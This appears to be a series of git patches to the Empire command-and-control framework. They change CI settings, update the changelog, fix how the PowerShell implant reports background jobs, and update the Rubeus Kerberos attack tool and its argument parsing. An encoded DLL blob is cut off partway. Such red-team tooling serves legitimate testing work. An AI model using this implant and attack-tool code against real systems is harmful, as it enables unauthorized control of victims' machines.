From 5aaa9e4bfca06cec2d255e19342b24d562ceb766 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sat, 10 Aug 2024 11:24:38 -0700 Subject: [PATCH 01/10] attempt to fix docker action (#871) --- .github/workflows/lint-and-test.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 710a5aebd..d0dca4d7a 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -91,7 +91,7 @@ jobs: junitxml-path: ./pytest.xml test_image: # To save CI time, only run these tests on the release PRs - if: ${{ startsWith(github.head_ref, 'release/') }} + if: ${{ startsWith(github.head_ref, 'release/') || contains( github.event.pull_request.labels.*.name, 'docker') }} timeout-minutes: 30 runs-on: ubuntu-latest name: Test Docker Image @@ -109,9 +109,9 @@ jobs: sed -i 's|ref: sponsors-main|ref: main|g' empire/server/config.yaml fi - name: Build docker image - run: docker-compose -f .github/docker-compose.yml build + run: docker compose -f .github/docker-compose.yml build - name: Run tests on docker image - run: docker-compose -f .github/docker-compose.yml run test + run: docker compose -f .github/docker-compose.yml run test - name: run structure tests docker uses: plexsystems/container-structure-test-action@v0.3.0 with: From e5e59bcc9685441a74d12015da0c14cbd5ce18a0 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 31 Aug 2024 17:10:56 -0700 Subject: [PATCH 02/10] Fixed issue where background ps tasks would check in continuously (#879) * fixed issue where background ps tasks would check in continuously * fixed background ps task in c# agent --- CHANGELOG.md | 2 ++ .../Data/ReferenceSourceLibraries/Sharpire | 2 +- empire/server/data/agent/agent.ps1 | 22 ++++++++++++++----- 3 files changed, 20 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a51467c4a..a4a6ac5ce 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Fixed background jobs checking in continuously (@Cx01N) + ## [5.11.2] - 2024-08-08 - Added Route4Me to sponsor page on Empire (@Cx01N) diff --git a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire index e22da60f4..a71278afd 160000 --- a/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire +++ b/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire @@ -1 +1 @@ -Subproject commit e22da60f40c8e5b0268ab601bc848f1415bb9848 +Subproject commit a71278afd8b3d7be89b62b3dd15cb1061b35e716 diff --git a/empire/server/data/agent/agent.ps1 b/empire/server/data/agent/agent.ps1 index 5bb0877d5..c89908393 100644 --- a/empire/server/data/agent/agent.ps1 +++ b/empire/server/data/agent/agent.ps1 @@ -1146,7 +1146,7 @@ function Invoke-Empire { $jobID = Start-AgentJob $data; $script:ResultIDs[$jobID]=$resultID; Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID; - $script:tasks[$ResultID]['status'] = 'completed' + $script:tasks[$ResultID]['status'] = 'running' } # dynamic code execution, no wait, save output elseif($type -eq 111 -or $type -eq 113) { @@ -1357,12 +1357,24 @@ function Invoke-Empire { ForEach($JobName in $JobNames) { $JobResultID = $script:ResultIDs[$JobName] - if (Get-AgentJobCompleted -JobName $JobName) { - $Results = Stop-AgentJob -JobName $JobName | fl | Out-String + $taskStatus = $script:tasks[$JobName]['status'] + + if ($taskStatus -eq 'completed' -or $taskStatus -eq 'stopped') { + continue; # Skip already completed or stopped tasks } - elseif ($script:tasks[$JobName]['status'] -eq 'running') { - $Results = Receive-AgentJob -JobName $JobName | fl | Out-String + + # Check if the task is running and completed + if ($taskStatus -eq 'running') { + $jobCompleted = Get-AgentJobCompleted -JobName $JobName + if ($jobCompleted) { + $Results = Stop-AgentJob -JobName $JobName | fl | Out-String + $script:tasks[$JobName]['status'] = 'completed' + } + else { + $Results = Receive-AgentJob -JobName $JobName | fl | Out-String + } } + if ($Results) { $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID) } From e7d2ba4e153d8629099163ad51751c2c7de6cfc5 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Mon, 2 Sep 2024 17:12:31 -0700 Subject: [PATCH 03/10] Updated Rubeus to 2.3.2 and fixed arg parsing (#881) * updated rubeus to 2.3.2 * updated execution method and fixed arg parsing * Update config.yaml * Fixed Rubeus killing agent when certain options were given that use System.Environment.Exit --- CHANGELOG.md | 11 +- .../net40/System.configuration.dll | Bin 0 -> 116072 bytes .../Data/ReferenceSourceLibraries/Rubeus | 2 +- .../modules/csharp/GhostPack.Covenant.yaml | 272 +++++++++++++----- 4 files changed, 213 insertions(+), 72 deletions(-) create mode 100644 empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.configuration.dll diff --git a/CHANGELOG.md b/CHANGELOG.md index a4a6ac5ce..09091b3ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,11 +14,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -- Fixed background jobs checking in continuously (@Cx01N) +### Changed +- Updated Rubeus to v2.3.2 (@Cx01N) + +### Fixed +- Fixed Rubeus error where only first arg was being used (@Cx01N) +- Fixed background jobs checking in continuously (@Cx01N) +- Fixed Rubeus killing agent when certain options were given that use System.Environment.Exit (@Cx01N) ## [5.11.2] - 2024-08-08 +### Added - Added Route4Me to sponsor page on Empire (@Cx01N) + +### Fixed - Fixed global obfuscation bug in listener staging (@Cx01N) ## [5.11.1] - 2024-07-23 diff --git a/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.configuration.dll b/empire/server/csharp/Covenant/Data/AssemblyReferences/net40/System.configuration.dll new file mode 100644 index 0000000000000000000000000000000000000000..4a673c46a24cac701cbe33575e89cc8974c76781 GIT binary patch literal 116072 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 